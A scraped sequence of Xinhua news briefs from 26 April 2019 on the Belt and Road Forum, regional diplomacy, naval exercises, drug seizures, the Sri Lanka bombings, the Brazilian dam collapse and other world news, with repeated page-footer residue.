the priorities of the BRI particularly in Africa. "The BRI promises to be an engine for a new wave of globalization that is fundamental to the global industrial chain," she said. She added that "local content development is key and could be done through (the) BRI in South Africa so that we don't just make small planes, but effectively take part in the global industry." Dr. Philani Mthembu with the University of South Africa said that the BRI could be a solution to some of the global issues that the world is dealing with. "The initiative comes at a crucial time in geopolitics where there's a crisis in multilateralism and globalization," he said. Chinese Ambassador to South Africa Lin Songtian said that the initiative is about promoting win-win cooperation and building prosperity with the rest of the world. A book named "the Belt and Road Initiative: alternative development path for Africa" was also launched at the seminar. A number of scholars from across the world have contributed to the book which looks at different ways that Africa could unlock development potential and attract investment for infrastructure through the BRI. Source: Xinhua| 2019-04-26 10:17:45|Editor: Li Xia Video Player Close BANGKOK, April 26 (Xinhua) -- The Thai government is committed to the progress of the Thai-Chinese high speed rail project and hopes the project will be finalized as soon as possible, Thai Prime Minister Prayut Chan-o-cha said on Thursday. In a written reply to Chinese media before his departure from Bangkok to attend the second Belt and Road Forum for International Cooperation in Beijing, he mentioned that the second BRF would also see the signing of a Memorandum of Cooperation (MoC) among Thailand, Laos, and China, on the railway between Thailands Nongkhai and Vientiane in Laos. As the Chinese proverb says, 'Unity Makes Everything a Success', we are pleased that the project has made good progress, and have taken the opportunity to learn more about high-speed railways and related technology, the prime minister noted. He also said the railway project is strategically important for infrastructure connectivity and development. In addition to creating economic opportunities and encouraging mobility, the project will also be vital in increasing connectivity between China and ASEAN through the China-Laos railway and other economic corridors in the region, namely the North-South Economic Corridor, Northern Economic Corridor, and Eastern Economic Corridor, he said. Source: Xinhua| 2019-04-26 10:22:47|Editor: Li Xia Video Player Close XINING, April 26 (Xinhua) -- Chinese researchers have mastered the dynamics of a fixed population of snow leopards in the headwater region of the Yangtze River, China's longest river, by analyzing data provided by local herdsmen through six years of continuous monitoring. It is rare to continuously monitor a fixed population of snow leopards for more than three years. The snow leopard is a class-A protected animal in China, and the International Union for Conservation of Nature classifies it as endangered-to-vulnerable. In October 2013, Peking University cooperated with the Beijing Shanshui Conservation Center to carry out an ecological monitoring training for herdsmen in Yunta Village, Yushu Tibetan Autonomous Prefecture in northwest China's Qinghai province. Over the past six years, 14 trained herdsmen took turns to maintain and recycle the infrared cameras set up on the mountains every three months and submit the data to Peking University. They monitored 23 adult snow leopards, helping researchers find the population's dynamic changes caused by behavior such as fighting for territory and migrating through corridors. According to the results, the number of snow leopards in the region increased steadily year by year, and they have since given birth to nine healthy snow leopard cubs, said Chu Moyan, a researcher with the university. Located in the headwater region of the Yangtze River, Yunta Village has a rich biodiversity. Xiao Lingyun, a postdoctoral researcher at the Center for Nature and Society affiliated to Peking University, said wild animals could migrate quickly along rivers or across frozen rivers without being hindered in winter. There are signs that the region could be an important passage linking nearby snow leopard populations. "The findings based on the herdsmen's monitoring are both valuable and effective," Xiao said. The researchers will continue to carry out in-depth research in the region, and push forward ecological monitoring training for herdsmen in the Sanjiangyuan (Three-River-Source) area. Jagong Zala, an employee with the Beijing Shanshui Conservation Center, said many local herdsmen got along with wild animals living in the same area and had plenty of time for in-depth observation. Their analysis and discoveries based on scientific training and traditional experience can inspire researchers. During the monitoring process, the herdsmen developed deeper affection for the animals, and gave every snow leopard a Tibetan name, such as Kurlha, Tsering Tsomo, meaning snow lotus and longevity respectively. "The monitoring work made me realize wildlife and us are all children of nature," said Tamdrin Pande, a Yunta herdsman. "We are sharing the same sky and earth. Only when the animals live well can we lead a good life." Participating naval vessels concentrate in the waters off the east coast of Zhanjiang city during the ASEAN-China Maritime Exercise-2018. (Photo by Yan Pei) By Song Zixun and Yang Yue On the evening of April 25, the opening ceremony of the China-Southeast Asian countries Joint Maritime Drill 2019 was held in Qingdao, eastern Chinas Shandong Province. Vice Admiral Shen Jinlong, Commander of the Chinese Peoples Liberation Army (PLA) Navy, attended the ceremony and delivered a speech. In his speech, Shen stated that the joint maritime drill between China and Southeast Asian states embodied Chinas commitment to pursuing the principles of amity, sincerity, mutual benefit and inclusiveness in diplomacy with neighboring countries and actively developing relations with Southeast Asian countries. Shen also pointed out that the drill was a concrete practice of promoting the important initiative of building a maritime community with a shared future and an important action by both sides to deepen defense and security cooperation and enhance mutual understanding and trust. He added that the joint exercise would definitely enhance the level of pragmatic cooperation between the Chinese PLA Navy and navies of Southeast Asian countries, and strengthen their capacity to jointly cope with maritime threats and challenges. Shen said he hoped that participating officers and soldiers would communicate with and learn from each other as much as possible, making contributions to the complete success of the joint drill. Seven countries participated in the joint drill, including China, Thailand, the Philippines, Singapore and Vietnam. Indonesia and Laos also sent observers to watch this maritime drill that consists of eight subjects, including fleet formation, temporary inspection, visit, board, search and seizure (VBSS) operations, joint search and rescue, and medical treatment of the wounded personnel. The chiefs of delegations from relevant Southeast Asian states invited to the multinational naval events marking the Chinese PLA Navys 70th founding anniversary also showed up at the opening ceremony of the joint maritime drill. Source: Xinhua| 2019-04-26 10:27:50|Editor: Li Xia Video Player Close MOSCOW, April 26 (Xinhua) -- Representatives of China, Russia and the United States on Thursday reached consensuses on various aspects of the Afghanistan issue including sovereignty, internal dialogue, terrorism, military withdrawals and smuggling. At the second trilateral consultation on Afghanistan held in Moscow, Chinese Special Envoy Deng Xijun, Russian Presidential Representative Zamir Kabulov, and U.S. Special Representative Zalmay Khalilzad discussed the current situation in Afghanistan and its ongoing peace process. The three parties emphasized that they respect the sovereignty, independence and territorial integrity of Afghanistan and the country's right to choose its own path of development, and called on foreign militaries to withdraw from the country in an orderly and responsible way as part of the peace process. They said they recognized the strong desire of the Afghan people for a comprehensive ceasefire and urged all to take immediate and effective measures to reduce violence. The three representatives also called on the Taliban to prevent recruitment, training and fund-raising by terrorist groups and to expel all terrorists, and encouraged peace talks between the Taliban and a representative Afghan delegation involving the government. They suggested the Afghan government and the Taliban should take all necessary measures to wipe out the threat of drugs in the country. The three parties also agreed to continue their consultations, and to decide via diplomatic channels the time and participating countries for the next meeting in the Chinese capital of Beijing, in a bid to further promote the Afghan peace process, for which they will stay in contact. The first trilateral consultation was held a month ago in Washington, during which the representatives discussed ways to promote peace, prosperity, and security in Afghanistan. Source: Xinhua| 2019-04-26 10:37:54|Editor: Xiaoxia Video Player Close UNITED NATIONS, April 25 (Xinhua) -- Remaining migrants and refugees in a detention center in Libya's capital Tripoli, under threat of violence, were moved Thursday to safer areas in the region, a UN spokesman said. "The transfer of all the remaining migrants and refugees from Qasr Bin Ghashir detention center in Tripoli to safer areas is underway," Stephane Dujarric, spokesman for UN Secretary-General Antonio Guterres, told reporters at a regular briefing that the UN Office for the Coordination of Humanitarian Affairs. The UN Refugee Agency (UNHCR) and the International Organization for Migration said Wednesday they had transferred 328 refugees and migrants from the detention center amid deteriorating security and escalating violence. The relocation, triggered by reports on Tuesday of the use of armed violence against detainees, were being carried out with support from the Libyan authorities and the United Nations. "Current conditions in Libya continue to underline the fact that it is a dangerous and unsuitable place for refugees and migrants," said Dujarric. A humanitarian pause was coordinated and facilitated with all parties to allow for the safe passage of the migrants and refugees who were intercepted while attempting to sail across the Mediterranean Sea to Europe from North Africa, the spokesman said. Ghassan Salame, the secretary-general's special representative for Libya, said Wednesday on a visit to Rome that the UN continues its efforts to bring the warring sides in Libya together, hoping that they can recognize the political process is better than further fighting while the country and its people are losing. He said he hoped to see results before the Muslim fasting month of Ramadan. The world organization continues to provide assistance to thousands of Libyan families affected by the fighting to be relocated to other areas, he said. Source: Xinhua| 2019-04-26 11:03:09|Editor: Xiaoxia Video Player Close WASHINGTON, April 25 (Xinhua) -- U.S. Securities and Exchange Commission (SEC) said Thursday that it charged a truckload freight company with accounting fraud for violating disclosure rules and misrepresenting its financial condition. The SEC alleged that Celadon Group Inc., one of the top truckload carriers in North America, avoided recognizing at least 20 million U.S. dollars in impairment charges and losses, by selling and buying used trucks at inflated prices. "We allege that Celadon knowingly engaged in a multi-faceted scheme to hide at least 20 million dollars in losses from its investors, and lied to its auditors to conceal the scheme," said Joel R. Levin, director of the SEC's Chicago Regional Office. In accounting standards, impairment occurs when a business asset suffers a depreciation in fair market value in excess of the asset's book value. Avoiding recognizing real impairment could boost the total asset figure on the company's balance sheet, which is a critical component of financial statements. The SEC said the avoided impairment charges and losses was almost two-thirds of Celadon's 2016 pre-tax income. As a result, the SEC believed that the truckload freight company overstated its pre-tax and net income and earnings per share. The SEC said Celadon's annual report for the period ending June 30, 2016 was affected by the overstatement, as well as its subsequent public filings for the first two fiscal quarters of 2017. According to the SEC, the company admitted those violations and agreed to a permanent injunction, to remediate its weaknesses and to pay 7 million dollars in disgorgement. The SEC is a regulatory agency of the U.S. federal government, aimed at enforcing the federal securities laws and proposing securities rules. Source: Xinhua| 2019-04-26 11:13:19|Editor: Xiaoxia Video Player Close WASHINGTON, April 25 (Xinhua) -- A privately owned deep-sea search vessel with U.S. Navy salvage team on board has departed for Okinawa, Japan to assist search operations for a downed Japanese F-35A fighter, U.S. Navy said in a statement Thursday. The Vessel, DSCV Van Gogh, is a multipurpose diving support and construction platform equipped with U.S. Navy remotely operated vehicles and a towed-pinger locator system, said the statement. A senior U.S. Navy official told CNN on Wednesday that search efforts are closing in on the aircraft's fuselage. "We have a pretty good idea where it is." A Japanese Air Self Defense Force (JASDF) F-35A stealth fighter went missing while on training approximately 85 miles (137 km) east of Misawa Air Base on April 9. Japan's Defense Ministry confirmed that the crash in waters off Japan's northeast was the first of an F-35A anywhere in the world. The crash not only raised questions about the reliability of the U.S.-designed advanced fighter but also sparked concerns over the Japanese government's plans to buy 105 more of the 100-million-dollar fighters as it seeks to overhaul its aged fleet of mainstay jets as part of its controversial national defense guidelines. Source: Xinhua| 2019-04-26 11:33:29|Editor: Yamei Video Player Close PHNOM PENH, April 26 (Xinhua) -- Cambodia ordered all public schools to reduce one hour off their regular school days due to scorching temperatures in the ongoing dry season, according to a directive released late on Thursday. The normal morning school session from 7:00 a.m. to 11:00 a.m. will now conclude half an hour earlier, while the afternoon session, usually lasting from 1:00 p.m. to 5:00 p.m., will commence 30 minutes later, the directive said. During the dry season in 2019, the weather is very hot and temperatures can be higher than 40 degrees Celsius between 10 a.m. and 2 p.m., Education Minister Hang Chuon Naron said in the directive, adding that the measure was to prevent heat-related illnesses. The measure will remain in place until the rainy season comes. The rainy season is expected in late May. Source: Xinhua| 2019-04-26 11:38:32|Editor: Yamei Video Player Close KUNMING, April 26 (Xinhua) -- Police in southwest China's Yunnan Province busted a drug trafficking case with three suspects arrested and over 10 kg of heroin seized. The public security bureau of Yanshan County launched an investigation after they got a clue one month ago that a man was suspected of drug trafficking, according to the bureau. In early April, the police arrested three suspects in a rental house and seized about 10.5 kg of heroin. The details of the case were not disclosed until Thursday. The case is under further investigation. Yunnan is a major front in China's battle against drug crime, as it borders the Golden Triangle known for its rampant drug production and trafficking. Source: Xinhua| 2019-04-26 12:13:48|Editor: Yamei Video Player Close YANGON, April 26 (Xinhua) -- The Myanmar government on Friday granted amnesty to 6,948 more prisoners, according to an order of the President's Office. The unconditional amnesty was extended on humanitarian ground as a gesture to mark Myanmar's traditional new year, which began on April 17. Friday's additional amnesty has brought the total number of national prisoners enjoying the release to 16,483. On the new year's day, the government had granted 9,535 prisoners of Myanmar nationals and 16 of foreigners. Further scrutiny will be made to the remaining prisoners who deserve to be so granted, the order said. On previous new year's day, the Myanmar government also released 8,490 domestic and 51 foreign prisoners under similar unconditional presidential amnesty order which was the first of its kind granted after President U Win Myint assumed office in on March 30, 2018. Source: Xinhua| 2019-04-26 12:18:51|Editor: Yamei Video Player Close SYDNEY, April 26 (Xinhua) -- Two female offenders remain on the run Friday, after two other women were rushed to hospital following a suspected acid attack in Melbourne on Thursday night. When Victorian State Police and Ambulance crew responded to the disturbing incident, they discovered the women, aged 44 and 29, had been set upon and attacked with a "substance" at a crisis accommodation facility in the city's southeast. Although authorities have not yet confirmed whether the pair suffered chemical burns after the material was thrown on them, an Ambulance Victoria spokesperson said both women suffered injuries to their upper and lower body. On Friday morning, the 29-year-old was released from hospital, while the 44-year-old remains in a stable condition. According to local media, the two offenders who are believed to be known to the victims, fled the scene on foot and remain at large. Police are continuing their investigations. Source: Xinhua| 2019-04-26 12:28:55|Editor: Yamei Video Player Close UNITED NATIONS, April 25 (Xinhua) -- A Chinese envoy on Thursday said that China opposes interference in Ukraine's internal affairs by any foreign forces. "China takes an objective and impartial position on the issue of Ukraine," Wu Haitao, deputy permanent representative of the Chinese mission to the United Nations, told a Security Council meeting on Ukraine. "We respect the sovereignty and territorial integrity of all countries, including Ukraine," he added. The signing of the new Minsk agreement in 2015, which is a renewal of its first protocol reached in 2014, has played a crucial role in politically mediating the Ukrainian crisis, said Wu, adding that the authority of the agreement has been highly recognized by all parties over the past four years. Regrettably, many provisions of the agreement have yet to be fully and concretely implemented, said the Chinese envoy. "Efforts to politically mediate the crisis have stalled. In conflict areas, people's life and property safety are still hard to be effectively guaranteed," he said. China calls on relevant parties to implement the new Minsk agreement in earnest, remain committed to political settlement of the crisis and seek a comprehensive solution to it, and resolve current problems through dialogue and consultation, Wu added. The Minsk agreements consist of a first protocol that the Ukrainian government and the rebels reached under the mediation of Russia, France and Germany in September 2014 in the Belarusian capital of Minsk, and a more detailed renewal was signed in February 2015. The agreements were designed to peacefully end the conflict in Donbas in eastern Ukraine, which has been plagued by conflicts between Ukrainian government troops and pro-independence armed groups since April 2014. The agreements envisage a cease-fire, a withdrawal of heavy weaponry from the contact line, a prisoner exchange and local elections, among other measures. Source: Xinhua| 2019-04-26 12:33:57|Editor: Yamei Video Player Close COLOMBO, April 26 (Xinhua) -- Sri Lankan President Maithripala Sirisena said on Friday that terrorists who carried out the Easter blasts have a link to drug trade. The president told a press conference in Colombo that the attacks may have been carried out sooner than planned due to his anti-drug campaign. JUBA, April 26 (Xinhua) -- South Sudan's army on Friday blamed opposition parties over delay in the establishment of the transitional security arrangement for the president that is key to paving way for the formation of unity government slated for May. Lul Ruai Koang, spokesman for the South Sudan People's Defense Forces (SSPDF), said the delay to form the 700 presidential protection forces as stipulated in the revitalized peace agreement lies squarely with the opposition. "The delay in regard to the formation of the presidential protection force is not about South Sudan People's Defense Forces but rather partly attributed to our partners for reasons best known to them," said Koang. "Let this parade we are holding here be a proof to the people of South Sudan, the international community and the region that we SSPDF have been committed to implementing the agreement," he added. Koang spoke in Rajap police training center, located west of the capital Juba, saying that the government has readied its 350 presidential special forces awaiting for joint integration ahead of formation of unity government. "We have complied in term of selecting the 350 proposed presidential guards comprising of foot soldiers and commanding officers and these are the ones you are seeing today. They have been training for a month while waiting for their counterparts to complete the 700 strong unit," said Koang. Nearly seven months into the pre-transitional period, parties to the peace deal have failed to implement key provisions of the accord such as cantonment and integration of forces and delays in determining the number of states. South Sudan ascended into civil war in late 2013, and the conflict has created one of the fastest growing refugee crises in the world. The United Nations estimates that four million South Sudanese have been displaced internally and externally. In September 2018, South Sudan's warring parties signed a final peace deal in Ethiopia after negotiations. Source: Xinhua| 2019-04-26 12:59:14|Editor: Xiang Bo Video Player Close Aerial photo taken on Jan. 16, 2019 shows the Piraeus port, Greece. In 2016, China's COSCO SHIPPING purchased a 67-percent stake in Piraeus port, which was then struggling. In just two years, Piraeus' performance has soared. Its container throughput has increased from 880,000 TEUs in 2010 to 4.9 million TEUs in 2018, ranking second among all Mediterranean ports. (Xinhua/Wu Lu) BEIJING, April 26 (Xinhua) -- The Belt and Road Initiative (BRI) has made great achievements for the benefit of participating countries and demonstrated its all-win nature, said officials and observers gathering here from across the world. Participants in the ongoing second Belt and Road Forum for International Cooperation (BRF) also cited concrete examples to refute the much-hyped "debt trap" and other unfounded charges hurled at the BRI. Since Chinese President Xi Jinping proposed the BRI six years ago, 126 countries -- including developed and developing ones -- and 29 international organizations have signed BRI cooperation documents with China. The three-day BRF, including 12 thematic forums, an opening ceremony and a leaders' roundtable, draws together some 5,000 participants from more than 150 countries and 90 international organizations. In an interview with Xinhua, Greek scholar George Tzogopoulos, a senior research fellow at the International Center for European Studies, a think tank based in Nice, France, highlighted the successful cooperation between Greece and China on Piraeus port. In 2016, China's COSCO SHIPPING purchased a 67-percent stake in Piraeus port, which was then struggling. In just two years, Piraeus' performance has soared. Its container throughput has increased from 880,000 TEUs in 2010 to 4.9 million TEUs in 2018, ranking second among all Mediterranean ports. "COSCO came and invested in Greece at a time that was very difficult for the national economy of Greece ... and it respected the European framework," said Tzogopoulos. The Greek economy has benefited from the Chinese investment as all employees at the port managed to keep their jobs and new jobs were created, he said. "Several international companies including German, American and French companies are benefiting because the Chinese investment in Greece is not a bilateral affair between Greece and China," he added. "This suggests that the Belt and Road Initiative is an economic integration mechanism where all sides involved can benefit." Based on the principle of extensive consultation, joint contribution and shared benefits, the BRI has evolved from a Chinese proposal to a global consensus. China has reiterated that it welcomes all countries to board the train of its development. The BRI is a "source of hope" for developing countries that need infrastructure construction and investment within the BRI framework, said Leon Juste Ibombo, minister of posts, telecommunications and the digital economy of the Republic of the Congo, at a thematic forum Thursday. Daryl Wade Swanepoel, convenor of the African National Congress Progressive Business Forum of South Africa, refuted such claims that the BRI may trap participating countries in debt, stressing that China is creating opportunities for investment on the basis of mutual benefit and win-win outcomes. He pointed out that it is just not in China's interest to promote a debt trap. Meanwhile, "Africa has not closed its doors to other areas like Europe and the United States and so forth," he said. "There's more than enough opportunities on the continent for everyone." Calling the BRI "the most successful integration model of the last few years," Tzogopoulos said, "It's not only China which is benefiting from the project but also the countries where the investments are taking place." "The more China is growing, the more it is contributing to growth and prosperity," he added. "China's principles are clear and straightforward and that's why China contributes to peace and stability." Source: Xinhua| 2019-04-26 13:09:20|Editor: Xiaoxia Video Player Close PHNOM PENH, April 26 (Xinhua) -- Myanmar's State Counselor Aung San Suu Kyi will pay an official visit to Cambodia from April 29 to May 1, said a Cambodian foreign ministry's statement on Friday. It will be Aung San Suu Kyi's first visit to Cambodia since she took office in 2016. During her trip, Aung San Suu Kyi will have separate audiences with Cambodian King Norodom Sihamoni and Queen-Mother Norodom Monineath Sihanouk at the royal palace, the statement said. She will also hold bilateral talks with Cambodian Prime Minister Samdech Techo Hun Sen after paying subsequent courtesy calls on Senate President Samdech Say Chhum and National Assembly President Samdech Heng Samrin, it said. Aung San Suu Kyi's visit "will further strengthen and expand the bilateral bond of friendship and cooperation in all areas as well as within the ASEAN (Association of Southeast Asian Nations) and multilateral framework," the statement said. At the conclusion of the trip, she will visit the Angkor Archeological Park, a world heritage site, in northwestern Cambodia's Siem Reap province, the statement added. Myanmar and Cambodia established diplomatic relations in 1955. Source: Xinhua| 2019-04-26 13:19:23|Editor: Xiaoxia Video Player Close SEOUL, April 26 (Xinhua) -- South Koreas passenger car export grew in the first quarter on solid demand from North America and Russia, customs office data showed Friday. Outbound shipment of passenger cars reached 9.3 billion U.S. dollars in the January-March quarter, up 2.7 percent from a year earlier, according to Korea Customs Service. Passenger car import tumbled 20.1 percent over the year to 2.4 billion dollars in the quarter. The passenger car export continued to gain for the second consecutive quarter on robust demand from the United States and Russia, of which export posted a double-digit expansion. Export to Germany and Britain increased by a double digit, with the figure to Vietnam surging 44.9 percent. Compact car shipment advanced 10.8 percent over the year to 630 million dollars in the first quarter, continuing to rise for the ninth consecutive quarter since the first quarter of 2017. Export of eco-friendly vehicles jumped 33.8 percent to 1.26 billion dollars in the cited period. The number of passenger cars exported in the March quarter was 590,000, down 0.1 percent from a year ago. The passenger car import declined 19.3 percent to 65,000 in the quarter. The average export price of passenger vehicles rose 2.7 percent to 15,653 dollars, but the import price fell 1 percent to 37,070 dollars. Source: Xinhua| 2019-04-26 13:39:30|Editor: Xiaoxia Video Player Close COLOMBO, April 26 (Xinhua) -- Sri Lankan President Maithripala Sirisena said on Friday that terrorists who carried out the Easter blasts have a link to drug trade. The president told a press conference in Colombo that the attacks may have been carried out sooner than planned due to his anti-drug campaign. Sirisena said, "Let's not forget the connection between the war against narcotics and terrorism." Under the directive of the president, Sri Lanka has launched a nationwide anti-drug campaign in recent months. And the president has vowed to free the country from the drug menace by 2020. Speaking of the link between local extremist group and the Islamic State (IS), Sirisena said so far Sri Lankan authorities have found out about 140 people were linked to the IS group and more than 70 of them had been arrested. Hunting has been ongoing for the rest. After Sri Lanka's former Defense Secretary Hemasiri Fernando has resigned on Thursday, Sirisena said he would appoint a new defense secretary soon. The president said terrorism will be wiped out from Sri Lanka soon. "We will soon restore normalcy. International agencies are here assisting us in the probe," he said. A string of bombs exploded in hotels and churches across Sri Lanka on Sunday. According to the latest number from Sri Lanka's Health Ministry, the blasts have killed about 250 people. Source: Xinhua| 2019-04-26 13:59:39|Editor: Li Xia Video Player Close BRASILIA, April 25 (Xinhua) -- Agriculture and biotechnology are key to China-Brazil cooperation and have ample room for future growth, experts said here Thursday. Government and private-sector representatives attending the opening of a seminar titled "Agriculture and Biotechnology -- Brazil and China" agreed the subject is central to the future of bilateral ties. China is the leading market for Brazil's agricultural goods, accounting for up to 38 percent of the sector's total sales, according to the National Agriculture Confederation (CNA) in Brasilia, which hosted the event. CNA President Joao Martins expressed the sector's commitment to contributing to China's food security. "The Chinese market is enormous. With a population that demands high quality products and a permanent increase in profits, China aims to stay at the top of our priorities in foreign policy and trade policy," said Martins, adding that "we need to expand our exports to China with new products." Biotechnology is essential for guaranteeing high quality and boosting Brazil's agricultural productivity, he said. Chinese Ambassador to Brazil Yang Wanming noted agricultural trade has seen rapid growth over the past 10 years, with major Chinese agribusinesses developing projects in Brazil, especially in fields ranging from infrastructure to efficient export of goods. "From now on, given the changing consumer habits of the Chinese, the demand for quality agricultural products will increase, and the potential of a market of nearly 1.4 billion will be even greater. That will generate unlimited opportunities for Brazil, the global granary of the 21st century," said Yang. Source: Xinhua| 2019-04-26 14:09:44|Editor: Xiaoxia Video Player Close HAVANA, April 25 (Xinhua) -- Cuban health authorities on Thursday confirmed the presence of giant African land snails, an invasive species that's potentially harmful to humans and agriculture, in the central and eastern regions of the island. The specimens found were "destroyed and buried," said Rafael Borges, director of the Hygiene, Epidemiology and Microbiology Center in the city of Caibarien in central Villa Clara province. Authorities there have also launched an effort to rid the area of any existing snails. Meanwhile, scientists at the Eastern Ecosystem and Biodiversity Center reported African giant snails have been detected in eastern Cuba's Santiago de Cuba, the island's second-largest city. The species was found in the courtyard of a house planted mostly with mango and banana trees, researcher Abelardo Mendez told local daily Sierra Maestra. "We collected several specimens in different stages of development for further morphological and anatomical study," said Mendez. The African giant snail, or Achatina fulica, is originally from the rain forests of eastern tropical Africa, and was first detected in the capital Havana in 2014. The adult snail, which may exceed 20 cm in length, is considered one of the worst snail pests of tropic and subtropic regions, according to Global Invasive Species Database. The snail has been listed among the 100 most harmful invasive species in the world since 2000. It spreads very quickly and usually displaces part of the local fauna due to its great reproductive capacity, which allows it to deposit more than 1,000 eggs per year on the ground. According to the International Union for Conservation of Nature, the snail is considered the main vector globally of the rat lungworm parasite, which can lead to eosinophilic meningoencephalitis in humans. Source: Xinhua| 2019-04-26 14:14:50|Editor: Xiaoxia Video Player Close RIO DE JANEIRO, April 25 (Xinhua) -- Three months after the collapse of a tailings dam in Brazil's southeast Minas Gerais state, bodies of 233 victims were found while 37 people remain missing, authorities said on Thursday. The bereaved paid homage to the victims early Thursday afternoon, at the exact hour of the disaster. Rescue teams are still working to retrieve the remains of the victims, with the aid of sniffing dogs and other equipment. In Brazil's capital city Brasilia, the Federal Assembly instated on Thursday a Parliamentary Investigation Commission (CPI) tasked to determine the cause the disaster. The commission will work for around 120 days to make a final report. The CPI will call for tougher regulations over the activities of mining companies and harsher punishment for environmental crimes, said the commission's rapporteur Rogerio Correia. The dam, located in Brumadinho, Minas Gerais state, was owned by mining company Vale. It burst on Jan. 25. In November 2015, a tailings dam partly-owned by Vale ruptured in Mariana, also in Minas Gerais, destroying an entire community and killing 19 people. Source: Xinhua| 2019-04-26 14:24:56|Editor: Xiaoxia Video Player Close WELLINGTON, April 26 (Xinhua) -- Britain's Prince William on Friday met with about 160 survivors and the victims' families at Al Noor Mosque, one of the two mosques attacked on March 15 in Christchurch, New Zealand. Prince William said to survivors of the attacks, "Hate will fail to divide us." On the second day of the Duke of Cambridge's visit to New Zealand, he visited Christchurch at Prime Minister Jacinda Ardern's invitation to show the royal family's support following the shootings which killed 50 people in two mosques. "On the 15th of March, tragedy unfolded in this room. A terrorist attempted to sow division and hatred in a place that stands for togetherness and selflessness," the prince said in his speech. "When I woke up in London on the morning of the 15th of March, I could not believe the news, an act of unspeakable hate had unfolded in New Zealand, a country of peace. And it had unfolded in Christchurch, a city that has endured so much more than its fair share of hardship. When it was confirmed that 50 New Zealand Muslims had been killed, murdered while peacefully worshipping, again I just could not believe the news," he told the gatherings. He said New Zealand's response to the shooting was an example to inspire the world. "I have had reasons myself to reflect on grief and sudden pain, and loss in my own life. In my role I have often seen up close the sorrow of others in moments of tragedy, as I have today," he said. The prince also said Ardern showed extraordinary leadership of compassion and resolve. Prince William went around the room to talk to individual families affected by the tragedy after his speech. The visit, on behalf of the Queen, were heavily guarded by the armed police. On Thursday, the Anzac Day, the Duke of Cambridge placed a wreath on the war memorial cenotaph in the Auckland Domain while attending Anzac Day services. Source: Xinhua| 2019-04-26 14:24:58|Editor: mingmei Video Player Close Wang Huning (R), a member of the Standing Committee of the Political Bureau of the Communist Party of China (CPC) Central Committee and a member of the Secretariat of the CPC Central Committee, meets with Kyrgyz President Sooronbay Jeenbekov, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Liu Bin) BEIJING, April 26 (Xinhua) -- Senior Communist Party of China (CPC) official Wang Huning on Friday met with Kyrgyz President Sooronbay Jeenbekov, who is here to attend the Second Belt and Road Forum for International Cooperation. Wang, a member of the Standing Committee of the Political Bureau of the CPC Central Committee and a member of the Secretariat of the CPC Central Committee, said that China is willing to continue to support Kyrgyzstan's economic and social development, and implement grand projects together with Kyrgyzstan under the framework of the Belt and Road Initiative. China fully supports Kyrgyzstan in hosting a successful summit of the Shanghai Cooperation Organization this year, Wang said. Sooronbay Jeenbekov said that Kyrgyzstan firmly supports jointly building the Belt and Road, and is ready to align development strategies of the two sides, and continuously deepen the comprehensive strategic partnership between the two countries. Source: Xinhua| 2019-04-26 14:45:12|Editor: Li Xia Video Player Close KUNMING, April 26 (Xinhua) -- Police in southwest China's Yunnan Province arrested one suspect for drug trafficking, and seized about 30.6 kg of opium, the public security bureau of the Tengchong city said Friday. The anti-narcotics police in Tengchong received a tip-off in late February that a drug dealer often smuggles drugs from Myanmar to Dehong Dai and Jingpo Autonomous Prefecture in the province. Police immediately set up an investigation team and dispatched officers to the border areas of Dehong. On April 17, police caught the suspect surnamed Pai in Zhina Village in Yingjiang County and seized 14 packages of opium with a total weight of 30.59 kg from his unlicensed motorcycle. The suspect is currently being held in police custody. Further investigation is underway. Yunnan is a major front in China's battle against drug crime, as it borders the Golden Triangle known for its rampant drug production and trafficking. Chinese frigate Xiangtan sets sail from a military port in Zhoushan, east China's Zhejiang Province, April 26, 2019. With a displacement of over 4,000 tonnes, frigate Xiangtan will bring a helicopter and a special forces team to join an international live-fire exercise in waters near the Republic of Korea (ROK) and Singapore, which will last from April 29 to May 15 as a part of the ASEAN Defence Minister's Meeting-Plus. (Xinhua/Zhang Qian) NINGBO, April 26 (Xinhua) -- Chinese frigate Xiangtan set sail from a military port in Zhoushan, east China's Zhejiang Province, Friday for an international live-fire exercise in waters near the Republic of Korea (ROK) and Singapore. With a displacement of over 4,000 tonnes, frigate Xiangtan will bring a helicopter and a special forces team to join in the exercise, which will last from April 29 to May 15 as a part of the ASEAN Defence Minister's Meeting-Plus. Participating vessels will assemble at the port of Busan, the ROK for communication check and opening ceremony from April 29 to May 30 and carry out exercises between May 1 and May 12. The opening day for naval vessels and closing ceremony will be held in Singapore from May 12 to May 15. Vessels from different countries will conduct exercises including rescuing ships hijacked by pirates, coping with terrorist attacks and helicopter landing. The ROK and Singapore jointly hold the exercise, aiming to enhance mutual trust and cooperation among participating countries and to address maritime security challenges effectively in the Asia-Pacific region. Frigate Xiangtan used to carry out escort mission in the Gulf of Aden and the waters off Somalia in 2016. Source: Xinhua| 2019-04-26 14:50:14|Editor: Li Xia Video Player Close BEIJING, April 26 (Xinhua) -- China's commitment to make the Belt and Road Initiative (BRI) a green cause advancing sustainable development is admirable and far-sighted, said the deputy chief of a global research organization. "Following through on this commitment will be good for China, for the partner countries, and for the rest of the world," Manish Bapna, executive vice president and managing director of World Resources Institute (WRI), said in a recent interview. "We see signs that China is taking this commitment seriously." GREEN COALITION On Thursday, at a thematic forum of the second Belt and Road Forum for International Cooperation (BRF), China officially launched the International Coalition for Green Development on the Belt and Road to facilitate the implementation of the 2030 Agenda for Sustainable Development through a green construction of the Belt and Road. Under the coalition Chinese and foreign leading agencies will work closely together to conduct research and make policy recommendations on key issues as well as facilitate international dialogues. "In the near future, the establishment of this coalition could raise the visibility and importance of green infrastructure and facilitate deeper cooperation between BRI partners," said Bapna, whose nonprofit organization was invited to the forum. "In the long run, the world expects this coalition to become an international platform of sharing related progress and practice of the green BRI construction, as well as help produce green demonstration projects for further scaling up," he added. Capacity building will also be part of the main work of the coalition, helping embed green development concepts into the development strategies of BRI countries to ensure that they pursue sustainable, growth-oriented solutions and technologies and have related technological and policy-making capacities. "International cooperation and cross-country experience sharing are important in making the BRI greener," the managing director said. BIG DATA At the BRF, China also launched the Belt and Road Big Data Service Platform on Ecological and Environmental Protection. Bapna said WRI hopes that its Resource Watch platform, which displays hundreds of high-resolution geo-spatial datasets on issues ranging from forests to water scarcity and to fishing patterns, can help support BRI data services. "We hope in the near future that new data layers on Resource Watch can display near-real time data on BRI investment patterns, down to the project level," Bapna said. "This data, gathered from Chinese investment institutions and partner countries, can show the progress of the green BRI." "Big data offers new opportunities for tracking the progress of the BRI and ensuring that it fulfills China's commitment that investments will advance sustainable development," he added. 